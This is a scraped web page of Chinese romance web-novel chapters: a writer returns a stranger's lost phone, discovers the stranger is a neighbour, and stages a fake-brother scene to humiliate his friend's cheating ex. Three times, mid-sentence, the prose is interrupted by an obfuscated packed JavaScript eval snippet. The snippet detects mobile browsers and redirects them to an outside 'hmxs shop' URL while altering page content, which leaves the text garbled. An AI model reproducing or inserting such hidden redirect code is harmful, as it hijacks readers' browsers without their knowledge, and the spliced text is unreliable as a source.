但是祝君忱似乎是个左撇子，而且习惯和他差不多，就那样毫无防备地把手机放在了他面前。 后面他们也没有再打开手机，再喝几口好酒，聊一些酒桌上有趣的话题，远一些的地方有人喊祝君忱过去，这人便和他笑眯眯地道别，说了声“七夕快乐”，端着酒转身走了，就是那个时候忘了拿吧台上的手机。 金梦的度数说高不高，说低也不低，颜语凉当时喝得晕乎乎的，想都没想，顺手就把眼皮子底下祝君忱的手机拿走了。 “唉……”颜语凉心里的小人长叹，他该怎么联系上这位认识不到一个小时的陌生人？ 他几乎不抱希望地用自己手机给刚加上的好友发信息，左手的手机发完右手的手机就响了。哀莫大于心死，他吸吸鼻子缓慢吐出一口气。 难道不会发现自己手机没了，来吧台这找吗？为什么祝君忱就这么轻易地消失在了酒吧？你手机被“偷了”你知道吗？ 九点刚好整，已经有一些人陆陆续续从酒馆出去，颜语凉逐大流出门去，手里攥着两部手机，看着宽敞亮堂的街道却茫然。 “I don''t wanna go, we''ve been here before.Everywhere I go leads me back to you.” 就在他站在“街角”小酒馆门口不知道是走还是不走时，电话铃声响了，不是自己的，是祝君忱的。一首没听过的英文歌，舒缓雅致，还蛮好听。 备注是【陆昼妍】。 像一个女生的名字。 接？ 还是不接？ 手机一直不停地震，右上角的时间往后眨了一分钟，无不提醒着他这是一个烫手山芋。 其实还有一种选择，那就是放到小新那里等祝君忱发现的时候自己来拿就行了，这是最方便的方法。 可是…… 其实颜语凉私心不想坐视不管，毕竟他们聊了这么久的天，也算半个朋友了吧。 对，就像替邹煜安程和欢他们接电话，和帮他们忙一样的。 这么一想心理负担稍微轻了一些，颜语凉心一狠眼一闭牙一咬，看似坚强实则视死如归地摁下了接通。 “喂？”一道清甜的女声从扬声器里传来，听语气像是对方很熟络的人，“今晚回吗？” 听起来像经常夜不归宿的夜店小王子。 “嗯，”颜语凉在一秒内组织好了语言，他另一只手有些紧张地捻着今天刚烫过的头发，“你好。” “呃，你好？”这位叫陆昼妍的女生闻声像是卡壳了的老旧收音机，支支吾吾地吭声，似乎在搜索与她对话的人与谁相似。 “你是……他女朋友吗？”颜语凉试探着问。 “我是他表妹。” “……”出师未捷先社死，兴许是刚刚喝了酒酒劲还没过，他竟脱口道了声歉，“对不起啊。” “没关系，”女生也有些局促，似乎不明白表哥的手机为什么在别人那，思来想去回击道，“祝君忱手机怎么在你那？你是他男朋友吗？” 这回轮到颜语凉卡壳了。 他咽咽口水，口腔里似乎还萦绕着鸡尾酒的甜香，脑子里的思绪却是一团乱麻。 “不是，他手机落酒吧柜台了。” 陆昼妍疑惑道：“他不是说晚上有个面试吗？” 这就完全超出颜语凉知道的范畴了，他只记得祝君忱跟他讲龙舌兰日出的故事的时候解开了外套的两粒扣子，里边穿着一件清秀的白衬衫确实很适合面试。 颜语凉粗略地向祝君忱的表妹讲了他拿到手机的来龙去脉，然后又抱着期待问：“你知道怎么能联系到他吗？” 陆昼妍听他讲的时候倒是有所回应，这会儿又哑了，老实道：“我不知道。” “你不是他表妹吗？” “他都二十多的人了，他妈妈都不知道。”颜语凉似乎都能想象到这个女孩说这句话的时候耸肩摊手的模样。 “那你有他对象的电话吗？” 陆昼妍诚实地说：“如果他有的话，我可能会有。” “那现在怎么办？”颜语凉在酒馆门口来回踱了两步路，轻轻咬了下下嘴唇问。 “你把他手机放柜台吧，我待会给他发个微信消息，他电脑肯定能收到消息，”陆昼妍是个聪明人，立马想到了最好的解决方法， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758080|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提议道，“据我所知我哥他不是个视手机如命的人，我估计短时间也不会发现手机没了，就算发现了也不会立马去找。” 这世道，哪还找得到一个不爱玩手机的年轻人？ 颜语凉腹诽。 好吧，其实他自己也算一个，因为平时写作动辄三两小时，电脑一开，大纲一放，埋头就是写，手机随手一放不一会儿就不记得放哪了，一部电脑从天亮盯到天黑。 但是，除了他自己，他认识的其他不爱玩手机的人大抵就是老家那群爱晒太阳、爱插秧苗、爱养乌龟的中老年人了，邹煜安更是他见过的网瘾少年的典例，三秒内看不到手机就心慌，在网络上50g冲浪，常常被他妈妈骂有手机病。 凡事总要有个原因，他祝君忱为什么不爱玩手机？这不像这个年纪的人啊。 思及此，颜语凉深深怀疑陆昼妍话里说的她哥二十出头。 其实你哥今年年方六八了吧。 挂了电话后颜语凉原地迷茫了两分钟，夜已经够深了，这个小清吧凌晨两点就会关门，现在已经将近九点半，大街上的车流仍然孜孜不倦地流着，一辆又一辆，他开始盼望着某一辆车能停在他面前，下来一个祝君忱。 又等了一会，就在他准备一走了之时，酒馆里又走出来一波人——是廖寻桃几人。 “言爷？！”廖寻桃单肩背着一个粉色的小包包，她总是酷爱粉色的漂亮事物，高中的时候颜语凉穿了一双粉红色的球鞋都被她惦记到大学。她叫出颜语凉名字的时候小包从她的肩膀滑落下来，廖寻桃顺势抱在怀里，半蹲着弯了点腰，看着坐在酒馆门口小长椅上的颜语凉，“你在这干嘛呀？” 后边跟着邹煜安和于知，于知拎着一只可爱的小猫电脑包，与他脸上的表情格格不入，自从他开始跟着颜语凉同这群朋友聚会，这个包也成了廖寻桃惦记的对象。 邹煜安见他像门神一样坐在门口，调侃道：“流浪诗人言不言呗。” 流浪诗人挤出一个笑，指着他，做了一个禁言的动作。 来酒馆的时候，他俩是一块儿来的，中午廖寻桃就发微信邀请了几个人晚上来“街角”酒吧一聚，颜语凉有驾照，也买了车，顺路就去接了在学校宿舍窝着的邹煜安。于知虽然也是A大学生，但是当时不在学校。 颜语凉是四个人中第二个有车的，也是唯一一个自己赚钱买车的，小小年纪就已经背上了车贷。 他原本着急手机的事想提前走，没有想到邹煜安和于知的死活，这会儿倒是想起来了：“我请个代驾，顺便送你俩回学校吧。”廖寻桃租的公寓离这个小酒馆就百来米路，可以说就是开在她小区楼下，根本不愁没法回家。 “好啊。”邹煜安闻言垂头取消了手机上的打车订单。 “I don''t wanna go ,think i''ll make it worse .Everything I know brings me back to us ” 就在颜语凉起身准备走时，手上两个手机响了一个。 “……” “……” “……” “……” 四个人你看看我我看看你相对无言三秒，邹煜安是第一个反应过来的：“颜语凉，你今天浑身上下没有一个口袋，怎么带的两部手机？” 于知的脸简直就是捧哏王，脸上分明地写着：“对啊对啊。” 颜语凉在这片柔和的音乐声中柔和地说：“我偷的。” 5. 路灯下 几人当然不相信他提前走就为了偷别人手机的说辞，在邹煜安和廖寻桃如虎的眼神下，颜语凉只好诚实交代，抬起手指指着廖寻桃说：“刚刚那个你搭讪失败的帅哥的。” 廖寻桃的眼睛倏得瞪大了：“言爷！！你不是说——” 她的话被打断了，因为颜语凉一边一根手指竖在嘴边，一边接通了那部“偷来的手机”的电话，手机屏幕上显示的是“备用机”，估计应该是失主本人的来电。 “喂？”虽然没有免提，但清冽低沉的声音就那么干干净净地钻进每个人竖起的耳朵。 “喂？”颜语凉清清嗓子回应道。 “我是祝君忱。” “我知道。”颜语凉把手机贴在耳边，接收着廖寻桃欣喜的眼神光波，解释说，“你把手机放吧台了，我拿错了。” “抱歉，朋友送我的，没发现手机没了。”祝君忱温顺有礼地道着歉。 颜语凉看到廖寻桃在用嘴型让他问是不是女朋友。 他用两根手指抵着她的肩膀把她推远了一些。 “你还在街角吗？”祝君忱的声音很干净，就像天上飘着的薄云，不轻不重的，但是很好听。 “在的。”而且不止我。 “那我现在来，你等我一下，行吗？” 行啊，怎么不行。 颜语凉要是说不行估计廖寻桃都能跟他吵起来。 挂过电话，廖寻桃脸上一片惊喜，邹煜安也抱着胳膊看着他，于知倒是没动，只是眼睛眨巴得更快了。 “他声音听起来真是又稳重又温柔啊！”廖寻桃拉了下邹煜安的袖子，焦急地问，“怎么样，我脸上的妆有没有卡？” “还是一样的美，桃大小姐。”邹煜安捧场道。 廖寻桃一只手背上包，一只手摸着脸，开心道：“真的吗？” 祝君忱没过十分钟就到了，到地快，傻地也快，只见几个人杵在酒馆窗户边，两个站着两个坐着，虽然人有点多，但是他一眼就看到了颜语凉，径直走了过去。 那个女生似乎非常在意他过来，兴奋雀跃。 旁边的两个男生也看着他走过去，眼神有些意外。 颜语凉倒成了最淡定的那一个，看见他靠近非常自然地笑开，站起来把手机递给了他。 祝君忱看见他笑，被他朋友盯着看的冒昧感一扫而空，打趣道：“没拿错？” 颜语凉一惊，连忙解开自己的手机看了一眼，确实没错，才松了口气。 “送你们回去？”祝君忱为耽误几人的时间儿感到抱歉，提议道，“我朋友没喝酒。” 车里坐在驾驶座上的男人闻声冲他们几个挥手笑了笑。 颜语凉摘了挂在裤腰带上的车钥匙套在手指上一甩道：“不用了，我车不能丢这，得点个代驾。” “行。” 身后的廖寻桃瘪了瘪嘴，似乎很不满自己就住在身后这个小区。 但是颜语凉可管不了她满不满意，祝君忱的车在路边不好久停，先行离开了。 廖寻桃虽然住的近，但颜语凉请了代驾还是送了她几步路，进小区直接送到了单元楼下。 再去学校送了于知和邹煜安，转头回到自己小区的时候已经十点半。 天昏昏黑，今天的月亮很亮，星星倒是没几颗，颜语凉走出车库，路灯下有几只小飞虫缠绕着飞进了草丛，他抬头看见高大的槐树上有一只没藏好的知了，有点看不清，举起手机拍了张照片，但是天色太晚拍得不太明了。 他调了好一阵手机参数，直到那只蝉消失在视线里。 “颜语凉？”身后有人在喊他，很耳熟。 他下意识转身，看到了刚从车库里走出来的祝君忱。 ？ 那一瞬间，小说家的想象力让他把所有的可能性都想了个遍，包括但不限于祝君忱是一个杀人狂，正在跟踪自己马上就要把自己塞车里然后抛尸荒野。 每一个想法都驱使着他拔腿就跑，但是在祝君忱走近的那一刻，他就把所有坏的猜想都抛诸脑后了。 因为对方的眼睛真的太漂亮了，不像个坏人，在路灯下就像真正的降临人间的天使。 祝君忱不知道什么时候摘去了美瞳，现在他的瞳色是黑色的，但是仍然不是纯粹的黑，在光影的闪烁下能看到一点浅色，有一种混血的美感。 之前在酒吧的时候没注意，在远处也看不出来，这会站得近了颜语凉才发现对方比自己高很多。 “你怎么在这？”颜语凉看祝君忱几乎要仰起头来，他自己是一米八出头，祝君忱这身量估计有一米九，他不禁道，“你好高啊。” 祝君忱好像被他第一个问句逗笑了，这么晚了在这里出现除了住在这个小区还有哪种可能，不过他还是认真地回答道：“我住这啊。” "你往哪走？"颜语凉的目光从他的脸上挪到袖口的那颗纽扣上。 祝君忱轻轻卷了下有些长的外套袖口，往某个方向一指。 “好巧，”颜语凉笑着歪了下脸，“一起走一段吧。” 祝君忱目光微动，颔首同他往前走。 薄云舒卷，月色如练，两人只是相对无言地往前走着，有点尴尬。 颜语凉只好垂头去看脚下的步伐，他发现对方的腿很直，穿着一双黑白撞色的运动鞋，裤脚有些长，刚好遮到脚踝。 颜语凉的思绪刚从脚下某一块石头换到另一块石头，祝君忱就停住了脚。 “到了。”他说。 “？”颜语凉仰头看着这栋熟悉的楼房。 这不巧了吗，他们好像住同一栋同一单元。 “好巧，我也住23栋。”颜语凉偏头去看祝君忱，月光在他的发丝间抹着银白色的光芒，语气欣喜又讶异，“之前居然没见过你。” “暑假新搬过来的，之前住家里。”祝君忱也看向他，突然抬手指了下自己的头顶说，“你这里落了一片小叶子。” 颜语凉抬手在对方镜像的自己的发丝取下一片槐树叶子，忽然想起来一个小时前陆昼妍开场问的那句“今晚回不回”。 原来是这样。 “谢谢。”颜语凉笑得露出两颗虎牙，他的长相是不标准的可爱类型，没什么表情的时候有点凶，但是嘴角一勾眼角眉梢都柔软下来，就是实打实地酷帅又可爱。他的脑子把刚刚祝君忱的话又加载一遍，突然就抓住了他言语中的用词，如果是已经工作的人是不会有“暑假”这个词的，一般会用月份或者什么什么别的假期，于是持着那抹笑问，“你是学生吗？A大还是隔壁师范的？” 这个小区住的学生很多，但是来来回回几乎也就是这两个学校的学生。 “A大。”祝君忱说话的声音很低，没有露一点情绪，很平静地看着他，但是颜语凉有些敏锐地感觉到对方有些不开心。 但他来不及抓住这一丝不开心的原由就被自己讶异的情绪盖过去了：“啊？”像祝君忱这样长相出众的人是绝对不可能在A大被埋没的，学校哪个学院有几个帅哥美女几乎是所有人入学想知道的第一件事，但是他似乎从来没听过这个人。 祝君忱看透了他的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758081|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思，补充说，“我是西校区的。” “哦。”颜语凉恍然，“我是东校区的，我们校区的图书馆很大，下次有机会我可以带你转转。” 话一说出口他便有些后悔了，哪有人邀约去图书馆的，应该说食堂的，可是A大西校区的食堂几乎是所有校区里待遇最好的，阿姨手不抖，饭菜便宜绿色健康，他们东校区也就个图书馆能拿得出手。 但是祝君忱似乎很受用：“好，一直想去但没有机会。” 没有被拒绝的颜语凉很开心，抬脚走了两步问：“你在哪一层？” 祝君忱看着他，眼睫轻轻眨着：“我在10楼。” “噢。”颜语凉消化着这个消息，可惜道，“我在30层，顶楼。” 缘分要让他们住对门就完美了，可惜可惜。 “早知道你跟我住同一栋，今晚就不那么麻烦了。”走上电梯，颜语凉想起今天晚上的乌龙还是有点想笑，他浑身上下依然没有半个口袋，手机还攥在手里。 祝君忱也把手机拿手上，两个几乎一模一样的手机垂在两人身侧，很奇妙。 “如果我晚发现一点，你给我发个住址，我来拿手机，兴许就不用跑来跑去。” 祝君忱楼层没他高，电梯先到，颜语凉客气地说请人下次来家里坐坐，独自一人站在电梯里的时候还有些恍惚——真是无巧不成书啊，今天碰到了一个手机跟自己长一样，和他一样爱把手机扣桌上的人，不仅如此两人还住在了同一个小区，同一栋同一个单元，而且和自己一个学校，虽然不在同一个校区。 还有最重要的一个，就是关于酒也知道得不少，表面看起来不近人情，讲起故事来却是绘声绘色，这个朋友简直是为他量身定制。 颜语凉喜欢男生的事几乎不是秘密，不仅仅是朋友间，连学院里也都知道。 因为这件事常常被他用来当作拒绝别的女孩告白的说辞，但也助长了很多相同性取向男生的追求气焰，他们似乎觉得少了一半的竞争对手。但其实不是，几乎没有几人能入颜语凉的眼。 当然，颜语凉之前也试着谈过两段，但都止于牵手，最长的不过一周，怪也怪不得别人，要怪只能怪颜语凉太忙了，整天不是写小说就是泡在图书馆看书，跑各地旅游采风，上学期还进《尘封水》剧组跟了一个月。 久而久之，所有人都对他望而生畏，说他工作狂、学习狂，很多追求者也不敢追了，颜语凉身边消停了不少。 今晚的奇遇，颜语凉只会觉得真巧，交了个朋友，并不会像廖寻桃一样见一个谈一个，尽管祝君忱真的长相出挑，而且性格、爱好都很对他的胃口。 像他这样志不在恋爱、整天忙里偷闲的人还是不要耽误人家的好。 颜语凉想着，心里没来由地落空。 他家里的门是电子指纹锁，一边解锁一边摁开手上在弹消息震动的手机。 [地球研究小组(4)] 【桃女王】：@程和欢 言爷酒吧有艳遇啊啊啊 【我是走远】：@程和欢 言爷酒吧有艳遇啊啊啊 【程和欢】：？ 【桃女王】：@程和欢 言爷酒吧真的有艳遇啊啊啊 【我是走远】：@程和欢 言爷酒吧真的有艳遇啊啊啊 【我无言以对】：见网名。 “滴——”门锁响了提示解锁成功。 颜语凉拉开门进去，又在手机屏幕上敲了两行字才关上门。 【我无言以对】：@我是走远 是你家鹦鹉成精了还是你被附身了？ 6. 过家家 【我是走远】：@桃女王 我承认你这回看上的确实帅。 【程和欢】：？ 【桃女王】：承认吧，我这次眼光一等一的好 颜语凉看完他们发的消息，没有再说什么，随手把手机放在鞋柜上换上拖鞋。 他在玄关留着一盏不算亮的壁灯，光亮堪堪能照到沙发的一半。 墨蓝色的沙发上，一个雪白的云团蜷缩着。 “想想？”颜语凉把自己的运动鞋放进柜子里，轻声唤了一声。 云团子似有所感地换了个姿势继续睡。 这是他在刚考上研究生，用大学那几年写小说做兼职攒的钱买下这套套间的那段时间在猫舍看中的一只波斯猫。 白色长毛，宝蓝色眼睛，尖端渐灰的尾巴给它添了点不规则的漂亮。 颜语凉检查过猫碗里还有不少粮，就没有再添，噙着笑把想想浑身上下软乎乎的地方都摸了个遍。 小猫杏眼眯成一条缝，就这样乖乖地任他摆弄。 颜语凉在沙发上陪它一会儿，想起来自己的手机还在玄关柜子上，便起身去拿，顺手从鞋柜顶上的篮子里拿了个小发卡夹在小猫的长毛上，精致又漂亮。 有一次朋友们来做客，邹煜安瞧见了，问他为什么要给宠物打扮，感觉只有女生才喜欢这样，还说颜语凉养了猫之后变娘了。被污蔑的颜语凉同学只好把他当场摁在沙发上揍了一顿为自己正名。 廖寻桃和程和欢一个起哄一个旁观，想想翘着尾巴蹦到高处目击着这一切。 时间在他休息的间隙里不停地流淌，再打开手机的时候已经是十一点了。 客厅的窗帘没有拉，外边昏沉的天色从阳台侵入房间，颜语凉走过去打开了阳台灯，那点被黑暗吞没的不适感便烟消云散，转而变得恬静温馨。 酒劲总会在独自一人的时候攀上眉梢，他坐在阳台的椅子上翻开自己清晨没看完的诗集，往前又读了一遍《昼梦》，小猫迈着优雅的步子到他脚边窝着。 “祝君忱。”颜语凉轻声呢喃，“祝君心忱，睹物思人。” 不仅人是他见过最好看的，连名字也是，不管怎么解读都很好听。 * 颜语凉很喜欢把自己的能量条耗尽然后眼睛一阖就睡到天亮的感觉。 凌晨睡觉前忘记把帘子拉起来了，早上直接被火辣的阳光晒醒，他睁开惺忪的眼去摸手机，悠长的暑假给他带来的松弛感太足，睡姿太随意，起来就会这儿酸那儿疼。 他按着有些酸的脖子翻开微信看见昨晚早些时候就没看到的消息。 【桃女王】：明天有空吗言爷[可怜.jpg] 【桃女王】：老规矩200出场费，香橙水榭 对方似乎蛮着急的，十二点的时候还催促着。 【桃女王】：看看手机吧[可怜.jpg] 可惜，他的手机常年静音，晚上累了就直接睡了。 这个毛病常常被朋友们“诟病”：想联系都联系不到，万一有急事怎么办。 颜语凉当时摇着茶杯里的茶说：“有急事也得等我有空了。”嘴上是这么说但是他之后看手机的频率也多了不少，已读不回的情况更是一次也没有。 想想正睡在床边的地毯上，这只小猫是标准的少年老成，一天有十二个小时都在睡觉，饿了就去饭盆里啃一口，然后巡视一圈家里的领地没有外敌入侵，最后往某个不知名的角落一歪就开始睡。要不是颜语凉每天都有心在晚饭后出去溜一下它，估计这会儿它都变成一辆面包车了。 已经九点，昨天喝的酒有点多导致现在都有些懵懵的，颜语凉随手给自己煎了个鸡蛋，垂头给廖寻桃发消息。 【我无言以对】：几点？ 对方估计等得花都谢了，信息秒回。 【桃女王】：晚上六点整，香橙水榭303号包间 【我无言以对】：行，这次演什么？ 【桃女王】：演我哥 前言说到，廖女士其人谈的渣男足以凑齐一本渣男手册，而她又怎可能是那种任人拿捏、任人欺负的性格。若是性格不和，就直接一拍两散、各走各道，但若是像这次一样男方移情别恋、劈腿，或者是交什么女闺蜜，那么廖女士是不可能一笑了之的。 她有一套最毒的报复渣男的方案——出资让颜语凉来一次角色扮演。 有次是追求者（这个要加钱），有次是小情人（这个更要加钱），有次是表哥或者是别的什么远房亲戚。 廖寻桃在恋爱期间会和男生朋友们保持距离，加上颜语凉也不是个爱社交的人，导致她的历任男友甚至都不知道有颜语凉这个人的存在，直到颜语凉开始扮演不同的角色。 当然，他们也不会有什么亲密动作，更不会假戏真做，只需要颜语凉在饭间突然出现，然后三言两语把前男友气走，再不敢纠缠就行。 晚上六点，香橙水榭。 一进门就是一个格调满满的宴会厅，悠扬的交响乐在厅里荡啊荡，华贵的吊灯、丝绸的帘布，殿内独特的设计无不宣告这这家餐馆的奢华。 赵培揽着妹妹的手在踏进这家店的那一刻终于抖起来。 “是赵先生吗？”服务员穿着标准、干净的工作服冲他45度鞠了一躬。 感觉自己走错了，想转身就跑的男人脚步顿住了。 妹妹挽着他的胳膊，欣喜道：“赵哥，你真有面！” “哈哈，”赵培不自觉地咽咽口水，“那……当然了。” 他真不知道廖寻桃让他来这么高端的餐厅干什么，之前也没见她来过啊。 不断的心虚让他手心直冒汗，但退无可退，赵培只能硬着头皮跟着服务员往里边走。 303包间。 盛装出席的廖寻桃一袭黑裙，化了一个伪素颜，肤白凝脂，粉唇若桃，好看得能掐出水来。 她支着腮看到来人，脸上没什么表情，示意道：“坐吧。” 赵培还是一副狗仗人势的样子，也不知道哪里来的底气。 “桃桃，我都说了，她只是我的妹妹。” 廖寻桃终于忍不住了，控制着自己的表情，五味杂陈道：“我说了一万遍别叫这个，我身边没有半个人叫我这个，显着你了。” 赵培正欲说话，身侧挽着的妹妹就先挂了两点眼泪：“姐姐，你别怪赵哥了，我真的只是他的妹妹，我们认识很久了。” 廖寻桃觉得自己是第一次感到这么恶心，她一个写小说的都不一定会让恶毒女配说出这种又土又恶心的话。 但是她没有在面上表露出来，抬手招呼站在一边的服务员，示意她把菜单给他们，说：“点菜吧。” 赵培见她没有什么过激反应，得意地认为廖寻桃接受了这个妹妹，心里的不自在少了很多。 他翘着鼻子接过菜单，却傻眼了，这家店的菜最便宜的都要一百五。 黑店吧！ “怎么了？”廖寻桃眉毛轻挑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758082|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 妹妹却两眼放光:“哇哥哥，都是我没吃过的耶！” 赵培瞬间板正脸，端起了架子:“点个这个青花椒牛舌吧。” 廖寻桃扶额无奈低笑一声。 包间门就是这时被打开的，进来了一个高瘦清爽的男生和另外一个年长一些的服务员。 “我妹妹不喜欢吃青椒你不知道吗？”颜语凉大步流星，一把拉开廖寻桃旁边的红椅子坐了下来，眉头紧锁，敲着桌板吩咐道，“罗姨，什么青花椒别端上来丢人现眼，老规矩来一盘黑糖腩肉叉烧，一盘花雕醉虾，两盘羊肉炒饼，待会吃完了再上个白松露冰激凌。” “好的，颜先生。”罗姨脸上表情亲和，恭恭敬敬，转而对廖寻桃说，“廖小姐，请稍等。” 罗姨招呼着几个小服务员，匆匆忙忙地出门去，赵培有点懵，梗着脖子，瞪着眼睛问:“你谁啊 。” 颜语凉眼神轻挑，嘴上勾出一个嘲弄的笑:“我是桃子她哥。” 这一笑可不得了，把本就颜控的妹妹迷得心旌摇曳，心思已经全然不在赵培身上了。 赵培看到身边的妹妹轻而易举地被对方勾了魂，难免愠怒:“你谁啊，我怎么从来没听说过她有什么哥哥。” 颜语凉没说话甚至都没看他，修长的指节捏着半满的瓷杯子有一下没一下地转着。因为接下来不是他的台词。 廖寻桃托着下巴，学着他们的说辞，漫不经心地告诉他:“干哥哥呀，认识很久了。” 赵培怒目圆睁，一拍桌子：“怎么可能？！” 颜语凉似乎被他无理的行为惹毛了，忿忿然招呼在门口待命的罗姨:“罗姨，有人要掀桌闹事！快把他们赶出去！” 罗姨赶忙进来，瞧见赵培真的站着并且手粗鲁地拍在桌子上，一脸惊恐地道着歉，喊来了保安要把这对狗男女赶走。 “干嘛？！他污蔑我啊！有没有搞错？”赵培还在挣扎，妹妹倒是被吓坏了，小白鼠一样一动都不敢动，只是依依不舍地回头又看了一眼廖寻桃的“哥哥”。 保安一声不吭地推着他们，终于在大堂停了下来。 赵培以为是自己的“威慑”起了作用，站稳后还气定神闲地理了下被弄乱的领口。 收银台的漂亮收银员瞪着他的时候还觉得是自己太帅了人家才一直盯着他看。 直到美女不耐烦地说:“结账啊。” “结、结什么账，我都没吃结什么账。”赵培眼神慌乱。 收银员抬手弹了张小票:“先生，你点了份青花椒牛舌，后厨已经开始做了，加上两份餐具钱一共是158，您提前走不吃也得结账的，谢谢您的配合。” “我没想……”走。 赵培还欲争辩，身后的穿着黑鸦鸦的保安却都死死地盯着他，只好灰溜溜地付了钱。 303包间里，只剩颜语凉和廖寻桃还有罗姨，空气都清新了不少。 廖寻桃一口气终于顺了，靠在椅子上夸道:“不错啊，言爷，演技有长进。” 颜语凉喝了口茶，应了这份夸奖:“多亏了罗姨。” 罗姨端着两盘冰激凌上桌，在旁边笑着用一口不大标准的普通话说:“陪你们这群小朋友过家家。” 香橙水榭是程家的餐馆，罗姨以前在知杏的时候是程家的保姆，后来程家来北京了，她便来这个餐馆担了一个较为清闲的职，颜语凉等人都是常客，平时爱吃什么她都记着，还有扮演气死渣男大戏，往往也都会有她的戏份。 7. 留言栏 冰淇淋的口感细腻丝滑，咽了几口心情便不自觉地变好。 颜语凉回想起那对狗男女的脸，那赵培说长得标致吧其实一点也没有，只能说平平无奇，不像是廖寻桃能看上的。 他有点不解地问：“你怎么和他谈两个月的？” 廖寻桃正在搅冰激凌杯里的巧克力，闻言没忍住翻了个白眼：“我刚放暑假不是和蒲惠去云南旅游采风去了吗？前一阵子才回来。” 蒲惠是她的闺蜜，一起写文的笔友，一起从籍籍无名到现在的小有名气，偶尔也会约着一起出去玩。 “网恋的啊？”颜语凉猜测道。 廖寻桃撇撇嘴：“对啊，遇到照骗了，照片p得那叫一个绝色，奔现差了十万八千里，我还没说啥呢，结果过了两天发现他还有个妹妹，昨晚在街角纯生气。” 颜语凉直接给她竖了个大拇指表示佩服。 廖寻桃耸耸肩表示她也很无语。 “对了，说到蒲惠，”廖寻桃吭哧吭哧把自己的椅子朝颜语凉挪近了些，“她上次托我问问你，当然，也是我很想问的问题——言不言老师，距离你上本书完结已经过去了六个月，《尘封水》也播完大结局了，咱什么时候开新文呀？” 颜语凉剜冰淇淋的手顿了一下，似乎在很认真地思考这个问题，随后说出了一个令人心碎的答案：“明年吧。” “啊？”廖寻桃感觉晴天霹雳，“档期这么满吗？都排到明年了。” “不过，”颜语凉话没说地太死，“说不定我心血来潮想写了呢。” 催更失败的廖寻桃揭穿他：“这可能性堪比母猪上树。” 他们在香橙水榭没吃什么，就两杯冰淇淋，之前颜语凉张口就来的那几道菜其实是提前编排好的，也跟罗姨串通过不用上。 这家餐馆是一等一的好吃，也算是一分钱一分货了，但是两人没有什么吃大餐的心思，打算待会去大学城夜市看看有没有好吃的，顺便可以把程和欢也叫过来一起去找在宿舍窝着的邹煜安。 临走前，廖寻桃想去厕所补个口红，颜语凉便坐在堂前的白色皮质沙发上等，翻开手机，他想起刚才廖寻桃问的问题，点开了尽书文学网。 尽书文学网是一个老牌的文学网站，也是颜语凉签了快十年的网站，毫不谦虚地说他陪这个网站从小做大，几乎是这个网站的招牌。 颜语凉垂目点开自己的主页，果不其然，主页的留言板里的催更条已经999+。 [言不言小迷妹]：言爷什么时候开新文呀一秒看不到新文就要饿死了！ [言爷的山茶条]：能不能穿越到言爷下次开文的时候，我已经等得花儿都谢了。 [初而有末]：赠送[玫瑰x20]，从尘封水入坑言不言还来得及吗？ [傅笛有时]：尘封水原著是我们今辰好老师哦[星星眼] 傅笛是今辰好连载中文章《海纳百石》的女主，顶着这个名字引流今辰好不出意外被踩得面目全非。 颜语凉倒是见怪不怪，他的留言板经常会有今辰好的书粉，还有一些黑粉。说来好笑，作者主页的留言板发一条需要耗费10书币，相当于一毛钱，或者直接送礼物，每一条留言不能超过30字，看不懂这群看不惯他的人为什么总是想花钱来批斗他。 [发卡cp锁了]：我们言不言的书粉就很有素质o，不会跑到别人主页留言板说“尘封水的编剧就是我们言不言老师o” [留言板小管家]：【警告】为维护健康和谐网络氛围，46条留言发布失败，书币已返还。 颜语凉有一下没一下地翻着留言板，这个留言板版块开设的年份屈指可数，功能尚不完善。 什么时候能设置一个筛选排序就好了，把点赞量高的放前面，这样就能看到更多有趣的留言。 他腹诽着退出个人主页，在书城顿住两秒，点开了书架最新更新的那一本，上次点开这本书都是半个月前了，十几天更新了二十几章。 颜语凉瞄一眼右上角的文名——《海纳百石》，嘀咕道：“还挺勤奋。” 正是饭点，餐馆零零散散地进来了些人，服务员们毕恭毕敬地招呼着他们。 颜语凉正奇怪为什么廖寻桃还没回来，却在人群中看到了一个熟悉的身影。 那个人身量很高，穿着一身较为正式的装束，灰白简约的Polo衫和极富垂感的西裤。脸上表情却不太好，甚至可以说有些糟糕，但微蹙的眉依然藏不住他的英气。 颜语凉瞧见他一喜：“祝君忱？” 然后才发现他是被两三个人讨好簇拥着出来的，这些人越是说话，祝君忱脸上的表情越是不耐烦。 “呃。”颜语凉察觉到不是打招呼的好时机，有点后悔地咬咬舌尖。 祝君忱闻声偏头看到他，眉角舒展了些，快步走了过来，说：“晚上好。” 颜语凉觉得这人真的很好玩，明明心情是阴天，说话却还是和之前一样柔软得像晴天的云朵。 “好巧啊。”颜语凉勾起一个笑，先前的后悔几乎一扫而空。 